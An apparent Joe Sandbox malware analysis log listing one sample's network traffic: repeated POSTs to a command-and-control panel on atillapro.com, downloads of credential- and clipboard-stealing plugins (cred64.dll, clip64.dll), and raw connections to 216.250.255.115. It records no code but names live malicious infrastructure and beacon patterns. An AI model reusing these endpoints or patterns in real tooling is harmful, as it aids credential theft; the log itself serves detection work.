Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5Nzg=Host: atillapro.comContent-Length: 98130Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTc5Nzg=Host: atillapro.comContent-Length: 98130Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----MTA0MDM0Host: atillapro.comContent-Length: 104186Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTgzMDk=Host: atillapro.comContent-Length: 98461Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTgyODM=Host: atillapro.comContent-Length: 98435Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 154Cache-Control: no-cacheData Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 34 38 45 41 33 42 35 34 33 44 32 41 36 44 31 38 42 36 38 36 31 43 39 43 35 41 34 34 35 42 46 33 44 43 46 33 46 34 31 42 43 42 31 43 33 39 30 34 34 45 31 43 45 41 32 43 45 39 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E748EA3B543D2A6D18B6861C9C5A445BF3DCF3F41BCB1C39044E1CEA2CE92
Source: global traffic	HTTP traffic detected: POST /vsdjcn3khS/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: atillapro.comContent-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View

ASN Name: SIMPLECARRER2IT SIMPLECARRER2IT

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://igyfstwj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hqbdcesc.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 249Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wtjwgbwnjj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 313Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://thjtogm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 340Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bnusfkiucs.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 328Host: atillapro.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://atillapro.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 4431Host: atillapro.com

Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115
Source: unknown	TCP traffic detected without corresponding DNS query: 216.250.255.115

Source: C:\Windows\System32\OpenWith.exe

Code function: 2_3_00007DF486F121BC WSARecv,

2_3_00007DF486F121BC

Source: global traffic	HTTP traffic detected: GET /vsdjcn3khS/Plugins/cred64.dll HTTP/1.1Host: atillapro.com
Source: global traffic	HTTP traffic detected: GET /vsdjcn3khS/Plugins/clip64.dll HTTP/1.1Host: atillapro.com

Source: unknown

DNS traffic detected: queries for: atillapro.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://igyfstwj.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 305Host: atillapro.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 09 Apr 2024 12:54:00 GMTServer: Apache/2.4.41 (Ubuntu)Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/html; charset=utf-8Data Raw: 36 31 62 33 39 0d 0a 6a 00 00 00 b8 28 14 57 2d e6 eb 90 4b eb f7 84 fc 11 c5 0d 74 dc f3 21 b8 df 7a cd 44 92 db 0b c4 43 88 88 d1 dd 2c 8c f8 94 3c 5a 0f 2b 88 fe 76 12 7f c0 09 1a e7 30 0b 48 62 37 bf 2a 3f be a4 73 e2 69 56 4e f4 7e 4c 81 65 4d 7c 56 1f 60 69 bb f3 0b c9 04 19 18 71 dc bd 82 9e 13 43 0c 10 a2 62 5b 67 25 8b ad cc 2b e9 7c 6d 70 00 ca 1a 06 00 1e 14 5a 68 09 09 06 00 09 00 9e 03 00 00 c9 af 4b 06 fd b7 e4 cf 75 1b fc fb 41 03 50 00 0d 86 9d 19 b2 92 4f 19 b2 66 40 79 bf 3c e0 e9 a8 07 97 29 55 ed 4f 8a 5d 83 99 58 79 32 ff 29 50 7a 91 ac 48 c1 33 62 c9 4e a5 df a2 8f 11 d8 b8 ec 45 8e 46 e1 7e 91 7f 98 62 f6 28 fe b2 ef da d8 10 c5 ff 00 0e 53 22 7c a0 e3 92 a3 70 fd 5d 0f 52 61 f9 c4 d2 17 e6 bc 78 13 d6 a5 f4 42 10 56 ec 33 3e 1f 4a e0 b2 1b 12 46 e3 67 fd a4 64 e6 19 c4 0e 9f 2d 91 d7 3d b5 4a ac 58 89 77 c1 59 82 ca 6a f1 43 50 16 3c 22 65 91 35 06 2b e0 38 9e ec 17 4d 01 fc d3 b1 3a 8d 7a cf 52 3d 1e 3d d9 09 38 1e 50 74 d3 ed 04 56 14 99 05 87 4e dc 28 ac df 22 87 14 18 ef 02 bd 97 f1 c5 58 03 17 2e 1f a3 37 4d a2 2a 95 37 54 b8 d5 e2 25 58 34 57 11 7f 80 1b 16 41 be 1b 15 2f 69 41 96 8c 75 c6 e6 d9 ab 5d 87 3f af 49 d0 b8 f5 51 f9 b4 8f 00 7b 6a 03 c2 44 69 5e 4c a2 28 19 bd d0 2e dd 92 ee 0a 01 dc fb 60 24 2e 76 18 9e c9 05 d1 35 2d 94 ad 83 ae 13 04 78 c9 09 e5 f8 61 2d d1 27 e3 80 5e 01 aa 27 14 82 2a 34 0b f0 73 1a e1 e2 01 23 43 55 8a 87 49 fd 32 c1 86 f3 a9 63 10 ff be b8 b1 ea 98 20 53 53 ae 5e ac f3 34 32 5b ce 28 48 27 42 41 29 4e 77 cb ff fc bd 65 d1 41 26 81 70 15 2d a7 59 73 cb 21 51 aa f7 fe 99 14 6d 69 1f 8d 6f c5 c0 b5 11 0c 89 30 88 13 42 93 b4 a9 05 1b 69 8f 68 4b fd 30 bd 1b c8 dc d0 ed e0 43 74 92 45 bc a1 44 a6 22 7c 34 56 0b b6 5f 93 58 d7 a6 69 34 95 b6 cd 06 5c 2b ac b3 1b 76 2a 5e 38 2a 37 9c 78 97 50 6a c1 2c 79 48 b1 3c 2b c4 e2 90 7b 37 db b3 e8 7a 34 5a f2 e7 d6 02 57 cc e3 68 0f 34 71 6a f1 ec 15 94 be ca 61 9f 3e 18 bd 12 de d8 5b 23 55 45 69 fd fb ea a3 29 1d 7c 02 57 7d 61 34 b1 a4 fa ea 18 25 e2 25 e7 b0 c6 8c ad 37 53 23 21 c0 8a 66 56 9e 29 9f ad 05 a5 d6 9a f6 66 43 19 81 07 71 78 55 b2 e8 74 b7 4c 69 76 69 f6 06 e7 8b c4 aa a5 86 dc 07 7c 4c e4 b2 33 1e 15 5a 19 1e 05 18 03 bb ff 31 ef b3 1d a6 1b 4d 97 43 6f 7c 64 fb ea 65 33 28 6a 0d db 5c 